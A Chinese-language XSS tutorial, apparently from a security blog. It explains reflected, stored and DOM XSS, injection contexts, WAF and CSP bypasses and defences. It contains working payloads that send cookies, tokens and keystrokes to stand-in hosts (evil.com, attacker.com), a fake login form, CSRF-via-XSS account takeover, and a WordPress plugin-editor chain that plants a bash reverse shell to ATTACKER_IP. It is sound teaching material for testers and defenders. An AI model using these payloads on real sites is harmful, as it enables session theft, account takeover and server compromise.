—
免责声明
本文章所有内容仅供学习交流与安全研究使用,旨在帮助开发者和安全爱好者理解漏洞原理、提升防御能力。
1. 授权前提:本文涉及的技术、payload、绕过方法仅可在你拥有所有权或已获得明确书面授权的目标上进行测试。未经授权对任何系统进行测试均属违法行为。 2. 禁止非法用途:读者不得将本文内容用于任何非法入侵、攻击、破坏或窃取他人数据的活动。一切未经授权的渗透测试、未授权访问均违反《中华人民共和国网络安全法》《刑法》第二百八十五条、第二百八十六条等相关法律法规,可能构成非法侵入计算机信息系统罪、破坏计算机信息系统罪等。 3. 责任自负:读者使用本文所载信息及技术所产生的一切后果由其本人承担,作者不承担任何直接或间接的法律责任及连带责任。 4. 内容性质:本文所述技术均为公开的安全研究知识,作者不保证内容的完整性与时效性,亦不代表鼓励或教唆任何违法行为。 5. 学习导向:文中涉及的代码示例仅用于演示漏洞原理,实际环境中请始终遵循最小授权、合规测试、及时修复的原则。
读者继续阅读即视为已阅读、理解并同意上述声明。 若不同意,请立即停止阅读并关闭本页面。
网络安全人人有责。学技术,先学规矩;懂攻击,是为了更好地防御。
—
XSS 跨站脚本漏洞
由浅入深整理。每层都建立在前一层之上,理解时按顺序读。 重要概念用代码+注释解释,可直接对照。
目录
- 第一层:三种 XSS 类型的本质
- 第二层:攻击者如何偷到你的 cookie(核心机制)
- 第三层:一个 payload 里到底叠了几种语言
- 第四层:真实 payload 逐段拆解
- 第五层:哪里能测 XSS(输入→输出模型)
- 第六层:<script> 为什么不好用 + 注入上下文判断
- 第七层:WAF 过滤方法与绕过方式
- 第八层:完整利用链(从弹窗到 RCE)
- 第九层:进阶——盲 XSS、Self-XSS、现代框架
- 第十层:防御侧(知道怎么修才知道哪里没修对)
- 速查表
第一层:三种 XSS 类型的本质
三类 XSS 最终目的都一样:在受害者浏览器里、以受害者身份、在可信域名下执行一段 JS。 区别只在 payload 存不存在、怎么送到受害者手里。
|
类型 |
payload 存哪 |
怎么送到受害者 |
服务器能看到吗 |
检测难度 |
|
存储型 |
服务器数据库 |
受害者正常访问页面 |
能 |
低 |
|
反射型 |
不存,在 URL/请求里 |
社工诱骗点链接 |
能(响应里回显) |
中 |
|
DOM 型 |
不存,在 URL fragment 等 |
社工诱骗点链接 |
看不到 |
高 |
存储型
评论区只是最典型的一种。本质:用户可控数据被存下来,之后渲染给别人看。这类点到处都是:
- 个人资料字段:昵称、简介、签名、头像 URL、主页链接
- 交互/沟通类:私信、聊天室、客服工单、站内信、订单备注
- 内容类:论坛帖、wiki、产品评价、留言板
- 文件类:上传的 SVG(内嵌 <script>)、HTML 文件、文件名本身
- 后台管理界面:管理员看的日志/工单/报表里渲染了用户可控数据 → 打进后台
最容易忽略的一条:把 payload 藏在 HTTP 头或文件名里(User-Agent、Referer、文件名),这些数据常被服务器记录、然后管理后台日志列表直接回显 → 管理员一打开就中招。
反射型
payload 不落库,服务器把请求里的参数原样拼进响应 HTML 返回。
攻击者构造链接:
https://victim.com/search?q=<script>fetch('//evil.com/?c='+document.cookie)</script>
受害者点击 → 浏览器请求 victim.com → 服务器把 q 原样回显 → 脚本在 victim.com 源、受害者会话里执行
难点在 需要社工触发,但一旦触发,危害等同存储型。
DOM 型
漏洞 100% 在客户端 JS,服务器根本不知道。服务器返回的 HTML 可能是静态的,问题出在页面 JS:从"源"读数据,不处理就写进"汇"。
// 源(source):用户可控的输入位置
location.hash // URL 的 # 后面
location.search // URL 的 ? 后面
document.referrer // 从哪来的
document.URL
postMessage 收到的数据
// 汇(sink):把数据写进 DOM 的危险操作
innerHTML // 危险
document.write // 危险
eval // 危险
setTimeout(字符串) // 危险
location.href = … // 危险
经典漏洞代码:
var name = location.hash.slice(1); // 源:读 hash
document.getElementById('welcome').innerHTML = name; // 汇:直接写 DOM,无过滤
攻击链接(# 后的部分不发到服务器):
https://victim.com/#<img src=x onerror=alert(document.cookie)>
特点:服务器响应包里看不到 payload,WAF、日志、服务端过滤全拦不到。检测必须审前端 JS 的"源→汇"数据流。
第二层:攻击者如何偷到你的 cookie(核心机制)
关键:脚本确实在你的浏览器里跑,但攻击者不是从你的会话里直接读,而是让那段脚本当快递员,把 cookie 主动发到攻击者的服务器。
完整走一遍
<!– 你点的链接,脚本在 victim.com 源里执行 –>
<script>
// 1. 读 cookie:能读到,因为脚本就在 victim.com 自己的源里
var c = document.cookie; // 例如 session=abc123
// 2. 建 Image 对象,src 指向攻击者服务器 → 浏览器立刻发请求
new Image().src = '//evil.com/c?cookie=' + c;
</script>
3. 浏览器从【你的机器】向【攻击者的服务器 evil.com】发请求,cookie 写在 URL 参数里
4. 攻击者看自己服务器的访问日志:
GET /c?cookie=session=abc123 ← 来自你的 IP
5. 攻击者把 session=abc123 填进自己浏览器 → 刷新 victim.com → 变成你
为什么同源策略挡不住?
同源策略的边界要分清:
- 读:脚本能读 victim.com 的 cookie,因为它就在 victim.com 源里执行,读自己的 cookie 天经地义。
- 发:浏览器允许脚本向任意域名发请求(图片、fetch、表单都能发)。同源策略只限制"读别人返回的内容",不限制"发请求出去"。
而偷 cookie 这件事,攻击者根本不需要读 evil.com 的返回结果——只要请求发出去了,服务器日志里就有了。这就是为什么用 <img> / new Image() 这种"只管发、不管收"的方式最经典,连 CORS 都拦不住它。
// 浏览器:允许发请求出去(不管收) → 图片信标能跨域
// 浏览器:禁止读别人域的返回内容 → CORS 管这条,但偷 cookie 用不上这条
new Image().src = '//evil.com/c?c=' + document.cookie; // 必中
HttpOnly 的作用与局限
cookie 带 HttpOnly 标记 → document.cookie 读不到 → 上面这条偷法失效。 但 XSS 依然危险,因为浏览器在向 victim.com 发请求时会自动带上 HttpOnly cookie:
// 不需要读 cookie,直接借受害者的身份调接口
fetch('/api/transfer', {
method: 'POST',
credentials: 'include', // 自动带 HttpOnly cookie
body: 'to=attacker&amount=10000'
});
结论:HttpOnly 挡得住"偷",挡不住"借刀办事"。 这是为什么 XSS 即使有 HttpOnly 也还是高危。
"信任域名"的本质
攻击者不需要知道你信任哪个域名。他做的事情是反过来的:
"信任"本质是 "你和那个网站之间的登录会话",由浏览器同源策略决定,攻击者沾了同源的光。 攻击者真正要解决的只有两件事:① 目标站有没有漏洞(技术);② 怎么让目标站登录用户点链接(社工)。
第三层:一个 payload 里到底叠了几种语言
以 <img src=x onerror=alert(1)> 为例,它其实混了三层语法:
<img src=x onerror=alert(1)>
└┬─┘ └┬──┘ └─────┬──────┘
HTML 属性值 事件属性 + 它的值
↑门是HTML ↑值是JavaScript
|
片段 |
是什么 |
说明 |
|
<img> |
HTML |
标签,定义"这是一张图片" |
|
src=x |
HTML 属性 |
图片地址,值是普通文本 |
|
onerror=alert(1) |
HTML 属性 + JavaScript |
onerror 是 HTML 预定义的事件属性名,它的值 alert(1) 是 JS |
关键洞察:HTML 里的"事件属性"(onerror、onload、onclick…)是一扇门,门本身是 HTML,门里面装的是 JavaScript。浏览器遇到事件触发时,把属性值当 JS 执行。
三个层次
1. HTML —— 结构骨架(负责"把代码藏进页面结构里")
<img> <script> <svg> <div> src= onerror= href=
2. JavaScript —— 真正执行的动作(负责"干什么")
alert(1) // 弹窗
document.cookie // 读 cookie
new Image() // 发请求
fetch('…') // 发请求
3. URL 编码 —— 传输的包装纸(负责"塞进链接里传输")
特殊字符换成 %xx,否则浏览器/服务器会把 payload 拆乱:
< → %3C > → %3E 空格 → %20 " → %22
<img src=x onerror=alert(1)> 进 URL 后:
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
这乱码不是新语言,是同一段 HTML+JS 换了种写法,浏览器收到后解码还原。
一句话串起来
你点的链接 = URL(编码过的 HTML+JS)
↓ 解码
页面里注入的内容 = HTML(带一个事件属性当"门")
↓ 事件触发
事件属性里的值 = JavaScript(真正干坏事)
- HTML 负责把代码"藏进页面结构里"
- JavaScript 负责"干坏事"
- URL 编码 负责"把它塞进链接里传输"
第四层:真实 payload 逐段拆解
完整 payload(可读版)
<img src=x onerror="
var c=document.cookie,
s=localStorage.getItem('access_token'),
u=location.href,
r=document.referrer,
a=navigator.userAgent;
new Image().src='//evil.com/collect?c='+encodeURIComponent(c)
+'&s='+encodeURIComponent(s)
+'&u='+encodeURIComponent(u)
+'&r='+encodeURIComponent(r)
+'&a='+encodeURIComponent(a);
">
逐段讲解
1. <img src=x onerror="…"> —— 触发器和载体
- <img>:合法 HTML 标签,很多过滤器只拦 <script>,却放过 <img>
- src=x:故意给一个加载失败的图片地址(x 不是真图片)
- onerror="…":图片加载失败时自动触发 → 里面 JS 立刻执行,无需用户操作
2. new Image().src='…' —— 外带通道(回传数据)
- 建图片对象,设 src 为攻击者服务器地址 → 浏览器立刻发 GET 请求
- 没有 CORS 限制:图片可跨域加载,浏览器只拦"读回来"不拦"发出去"
- 无感:不像 location.href 会跳转,图片信标最通用
3. 各字段 —— 偷的是什么
var c = document.cookie; // 会话 cookie,身份凭据
var s = localStorage.getItem('access_token'); // 现代应用常把 JWT/令牌放 localStorage
var u = location.href; // 当前页面(确认漏洞上下文)
var r = document.referrer; // 从哪来(溯源社工渠道)
var a = navigator.userAgent; // 浏览器/系统指纹
现代很多应用(尤其 SPA)把登录令牌放在 localStorage/sessionStorage 而不是 cookie, 所以真实 payload 会同时偷 cookie 和 localStorage。
4. encodeURIComponent(…) —— 编码
把偷到的数据做 URL 编码,防止 cookie 里含 =、;、& 这类字符把回传 URL 的参数结构搞乱。
// 不编码:cookie="a=b;c=d" 会让 URL 参数解析错乱
// 编码后:cookie="a%3Db%3Bc%3Dd" 安全传输
5. //evil.com/collect —— 收货地址
- // 是协议相对 URL:在 http 上发 http://evil.com,在 https 上发 https://evil.com,自动匹配
- 避免页面是 https 却去请求 http 的图片被浏览器当"混合内容"阻断
它塞进 URL 后
https://victim.com/search?q=%3Cimg%20src%3Dx%20onerror%3D%22…%3B%20new%20Image().src%3D%27//evil.com/collect%3Fc%3D…%27%22%3E
攻击者收到什么(evil.com 日志)
GET /collect?c=session%3Dabc123%3B…&s=eyJhbGciOi…&u=https%3A%2F%2Fvictim.com%2Fhome&r=https%3A%2F%2Fmail…&a=Mozilla%2F5.0…
解码后:
- session=abc123 → 填进自己浏览器,登录成你
- eyJhbGciOi…(JWT)→ 放进 Authorization: Bearer … 请求头,调 API 成为你
- referrer → 知道是哪封钓鱼邮件坑到的人,优化后续攻击
第五层:哪里能测 XSS(输入→输出模型)
不是"能输入就能 XSS",而是三者同时满足才有 XSS:用户可控数据 + 到达浏览器执行环境 + 未被正确消毒。
核心判断模型
你输入 → 后端接收 → 存/取/转 → 输出到响应 → 浏览器解析 → 执行
↑
漏洞就在这一段
关键不在于"能不能输入",而在于**"输入是否、且如何到达浏览器的执行环境"**。
能成 XSS 的典型场景
① 用户输入被原样回显在响应 HTML 里 —— 反射型/存储型
② 输入没回显在响应里,但进入客户端 JS 的"源→汇" —— DOM 型
https://victim.com/page#<img src=x onerror=alert(1)>
响应 HTML 是静态的,但页面 JS 有 el.innerHTML = location.hash → 照样执行。 fragment 部分服务器都收不到,响应包里看不到,但能 XSS。
③ 输入进了属性/JS 字符串/URL 上下文(隐式"展示")
<input value="你的输入"> <!– 进了属性 –>
var name = "你的输入"; <!– 进了 JS 字符串 –>
<a href="你的输入"> <!– 进了 URL –>
拼接时没转义,闭合对应引号就能注入。
不能成 XSS 的情况
- 输入只进库,从不渲染到任何页面:比如意见反馈只在纯文本邮件里发给客服 → 不是 XSS(可能是邮件头注入)
- 输入被正确转义/编码:后端 htmlspecialchars、前端 textContent(非 innerHTML)、严格 CSP
- 输入只进 HTTP 头/纯 JSON/下载文件:如果消费方当纯文本显示且正确转义 → 无 XSS
"URL 里"特别说明
- query 参数(?q=…):发给服务器,服务器回显 → 反射型。测法:看响应包有没有你的输入
- fragment(#…):不发到服务器,只在前端。服务器响应包永远看不到 → DOM 型。测法:审前端 JS 有没有读 hash 写 DOM,光看响应包测不出来
"只有用户输入被原样展示在响应包才能测试"——对反射/存储型成立,对 DOM 型不成立。
实战判断流程
第六层:<script> 为什么不好用 + 注入上下文判断
为什么 <script> 实战里不好用
核心逻辑:防守方"重点盯 <script>",所以攻击者"避开 <script>"。
按注入点选 payload(实战核心)
同一个应用,注入位置不同,可用 payload 天差地别。先判断上下文,再选 payload。
|
上下文 |
指示 |
开场动作 |
payload |
|
HTML 文本节点 |
<b>输入</b> |
插新标签 |
<svg onload=alert(1)> |
|
属性值内部 |
value="输入" |
闭合属性 |
" autofocus onfocus=alert(1)// |
|
块标签内 |
<title>输入</title> |
先关标签 |
</title><svg onload=alert(1)> |
|
href/src |
<a href="输入"> |
协议 |
javascript:alert(1) |
|
JS 字符串(单引号) |
var x='输入' |
闭字符串 |
'-alert(1)-' |
|
JS 字符串(转义) |
反斜杠转义 |
双重转义 |
\\'-alert(1)// |
|
JS 逻辑块内 |
在 if/function 里 |
闭合+注入 |
'}alert(1);{' |
|
JS 任意位置 |
<script>…输入 |
闭 script |
</script><svg onload=alert(1)> |
|
XML 页面 |
text/xml |
XML 命名空间 |
<x:script xmlns:x="…">alert(1)</x:script> |
属性值内部(重点)
<script> 在这里完全没用,必须先闭合属性再开新标签:
<input value="用户输入">
<!– 注入:闭合 value 属性,加 autofocus+onfocus 自动触发 –>
"><img src=x onerror=alert(1)>
" autofocus onfocus=alert(1) x="
重点:能插入 " 或 ' 闭合属性,XSS 就成了一半。
SRC 实战心态
第七层:WAF 过滤方法与绕过方式
一、WAF 过滤 XSS 的常见方法
|
方法 |
说明 |
弱点 |
|
黑名单关键字 |
匹配 script/onerror/alert |
黑名单永远列不全 |
|
标签/字符过滤 |
拦 < > " ' |
漏一个就破 |
|
大小写敏感 |
只拦小写 |
大小写变形可绕 |
|
只查值不查名 |
参数名反射时不拦 |
经典盲区 |
|
一次性 strip |
strip_tags 删一次 |
碎片化绕过 |
|
正则特征匹配 |
匹配已知 payload 模式 |
多反射/变形绕过 |
|
CSP |
浏览器层纵深防御 |
JSONP/AngularCDN 口子 |
二、对应绕过方式
针对黑名单:用冷门标签/事件(WAF 盯 <script>/onerror,换不盯的)
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
无事件处理器向量(专治过滤 on*= 的 WAF)
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click
针对大小写:变形
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
针对一次性 strip:碎片化注入(WAF 删 <x>…</x> 就完事 → 把关键字拆开)
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
删掉中间 <x> 后,o+nmouseover 拼回 onmouseover → 触发。
针对标签名过滤:标签变形
</script/x> <!– 尾部垃圾 –>
<script <!– 不闭合,靠后面的 > 补 –>
<%00iframe <!– null 字节,很多 WAF 截断识别 –>
<svg/onload=alert(1)> <!– 用 / 代替空格 –>
针对只查值:攻击参数名(payload 放参数名上)
?"></script><base%20c%3D=href%3Dhttps:\\mysite>
WAF 只查 = 后面的值,参数名里的 payload 漏掉。
针对字符过滤 & 正则:编码链
%253C <!– 双重 URL 编码的 <,第一层解码成 %3C,第二层才成 < –>
<%00h2 <!– null 字节注入 –>
%0d%0a <!– 标签内 CRLF –>
绕过原理:WAF 和后端解码层数不同。WAF 解一层、后端解两层,双重编码内容 WAF 看着像乱码就放行,后端解码后还原成 <。
针对正则特征:多反射拼接(输入在一页反射多次,碎片 payload 单点看都无害)
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
针对 CSP:找白名单域的口子
<!– 白名单含 google.com 且有 JSONP –>
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);"></script>
<!– 白名单含 ajax.googleapis.com → 加载 AngularJS –>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
<!– CSP 没限制 base-uri → 让相对路径脚本从攻击者服务器加载 –>
<base href="https://attacker.com/">
三、实战绕过流程(ZSEANO 方法)
别上来喷 payload,按步骤二分定位过滤逻辑:
关键洞察:过滤的存在 = 漏洞存在。开发者试过打补丁才会过滤。 一处有过滤,往往意味着同一套过滤被复用到别处,去别处找漏的更可能突破。
第八层:完整利用链(从弹窗到 RCE)
纠正"XSS = 偷 cookie"的错觉。XSS 的本质是"在受害者身份+受害者域名下任意执行 JS",偷 cookie 只是最浅的用法。
1. Cookie 偷取(最基础)
fetch('//attacker.com/?c=' + document.cookie);
// HttpOnly 的 cookie 读不到 → 走下面的 CSRF-via-XSS
2. 键盘记录
document.onkeypress = function(e) {
fetch('//attacker.com/k?k=' + encodeURIComponent(e.key));
};
每次按键发回 → 直接抓密码,连 cookie 都不用。
3. CSRF-via-XSS(绕过 CSRF 防护,HttpOnly 也挡不住)
// XSS 在受害者域名下执行 → 有权读受害者页面的 CSRF token
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false); // 拉设置页
r.send();
// 从 DOM/响应里抠出 CSRF token
var token = /csrf_token['":\\s]+([^'"<\\s]+)/.exec(r.responseText)[1];
// 以受害者身份改邮箱(浏览器自动带 HttpOnly cookie)
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf=' + token);
为什么 HttpOnly 挡不住:不需要读 cookie,浏览器发请求时自动带 HttpOnly cookie,而 CSRF token 在 DOM 里能读。
4. 钓鱼/页面篡改
在 victim.com 上弹假登录框,你以为是这个站要你登录,输入的账密直接送攻击者。
// 在 victim.com 上伪造一个逼真的登录框
document.body.innerHTML = '<form action="//evil.com/steal"><input name=user><input name=pwd type=password><button>重新登录</button></form>';
5. XSS → RCE(拿管理员态后改代码)
以 WordPress 为例,管理员登录态下,通过 XSS 调插件编辑器写入一句话:
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1`;?>';
// 拉编辑页拿 nonce
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
// POST 写入恶意代码
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
// 写完触发它 → 反弹 shell
b.onreadystatechange = function(){
if(this.readyState==4) fetch('/wp-content/plugins/hello.php');
};
6. 浏览器远程控制(把受害者浏览器变肉鸡终端)
// 注入到受害者页面:每 100ms 轮询攻击者服务器拿指令
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
}, 100);
# 攻击者监听端:一个简易 JS 命令 shell
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
利用链总览
弹窗(PoC) → 偷 cookie/键盘记录 → CSRF-via-XSS 改账号 → 钓鱼 → XSS→RCE 拿服务器
↑ ↑
证明存在 最高危害
第九层:进阶——盲 XSS、Self-XSS、现代框架
1. 盲 XSS(Blind XSS)
存储型的进阶。往联系表单、反馈框、User-Agent、报错日志塞 payload,当时看不到回显——但当管理员打开后台工单/日志列表时触发。
<!– 盲 XSS 回调 payload:挂外部 JS 文件,等管理员触发 –>
"><script src=//attacker.com/bxss.js></script>
// bxss.js:管理员触发时执行,把上下文发回
var d = document;
var msg = 'URL: '+d.URL+'\\nCOOKIE: '+d.cookie+'\\nDOM:\\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
用 XSS Hunter 这类盲 XSS 平台做自动化收集。这是 SRC 里"低垂果实之外打高价值洞"的路子。
2. Self-XSS 的陷阱(SRC 报别踩)
有些输入点你测出弹窗了,但其实只坑自己——payload 要受害者自己手动粘贴进控制台/输入框才触发,没有"诱导他人"的路径。这种不算漏洞,SRC 不收。
判断标准:有没有一条不靠社工受害者手动粘贴的触发链。如果没有 → Self-XSS → 不是漏洞。
3. 现代框架改变了 XSS 形态
React/Vue/Angular 默认对插值做转义,但各有显式不转义的口子:
|
框架 |
危险 API |
|
React |
dangerouslySetInnerHTML |
|
Vue |
v-html |
|
Angular |
bypassSecurityTrust* |
现代应用的 XSS 不在"模板插值"了,集中在这几处显式信任的地方。挖的时候换思路——找框架的"逃生舱",而不是找裸 echo。
4. 二阶 XSS(Second-Order XSS)
输入被存(常做 HTML 编码),之后取出来在另一个上下文里渲染时没重新编码。
注册时 username = <svg/onload=alert(1)> (存库时 HTML 编码了)
↓
管理员后台渲染用户列表时,原样输出 → 解码后触发
触发点:个人资料、显示名、论坛帖——数据存了之后在不同上下文(用户面 vs 管理后台)重新渲染。
第十层:防御侧(知道怎么修才知道哪里没修对)
1. 按上下文输出编码(核心防御)
很多漏洞就是"用错编码函数"。不同上下文要用不同编码:
|
输出位置 |
编码方式 |
|
HTML 文本 |
HTML 实体编码(< → <) |
|
HTML 属性 |
属性编码(注意引号) |
|
JS 字符串 |
JS 编码(\\x3C) |
|
URL |
URL 编码(%3C) |
2. CSP(内容安全策略,纵深防御)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'
- 限制脚本来源、禁内联(除非带 nonce)
- 注意封住 base-uri、object-src,否则有 base 注入口子
3. Cookie 保护
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax
- HttpOnly:挡 JS 读(但挡不住借刀办事)
- Secure:只走 HTTPS
- SameSite:挡 CSRF
4. 框架默认转义 + 慎用危险 API
- 用框架的默认转义
- v-html/dangerouslySetInnerHTML 严格白名单输入
速查表
三型对比
|
类型 |
payload 存哪 |
怎么到受害者 |
服务器看得到吗 |
检测 |
|
存储型 |
数据库 |
受害者正常访问 |
能 |
易 |
|
反射型 |
URL/请求 |
社工点链接 |
能(响应回显) |
中 |
|
DOM 型 |
URL fragment 等 |
社工点链接 |
看不到 |
难(审 JS) |
按上下文选 payload
|
上下文 |
payload |
|
HTML 文本 |
<svg onload=alert(1)> |
|
属性值 |
" autofocus onfocus=alert(1)// |
|
JS 字符串 |
'-alert(1)-' |
|
href/src |
javascript:alert(1) |
|
块标签内 |
</title><svg onload=alert(1)> |
源与汇(DOM XSS 审计清单)
源:location.hash、location.search、document.referrer、document.URL、document.cookie、postMessage
汇:innerHTML、document.write、eval、setTimeout(字符串)、location.href
绕过思路总览
|
WAF 方法 |
绕过 |
|
黑名单 <script> |
冷门标签 <svg onload>、无事件向量 <form action=javascript:> |
|
大小写敏感 |
<ScRiPt> |
|
一次性 strip |
碎片化 o<x>nmouseover |
|
字符过滤 |
双重编码 %253C、null 字节 <%00 |
|
正则单点 |
多反射拼接 |
|
只查值 |
攻击参数名 |
|
CSP |
JSONP / AngularCDN / base-uri 注入 |
测试流程(决策树)
拿输入点
├── 输入回显在响应?
│ ├── 是 → 判上下文(HTML/JS/attr/URL) → 选 payload
│ │ └── 被拦?→ 编码/变形/碎片化;查参数名是否被反射
│ └── 否 → 存库?→ 注入盲 XSS payload
│ 在 DOM?→ 审 JS 源→汇(innerHTML/eval/document.write)
└── 有 CSP?
├── 查白名单域有无 JSONP
├── 查白名单有无 AngularJS CDN
├── 查 base-uri 有无限制
└── 查 unsafe-eval/unsafe-inline
关键洞察汇总
笔记整理于 XSS 技能库基础之上,实战测试请在授权目标上进行。



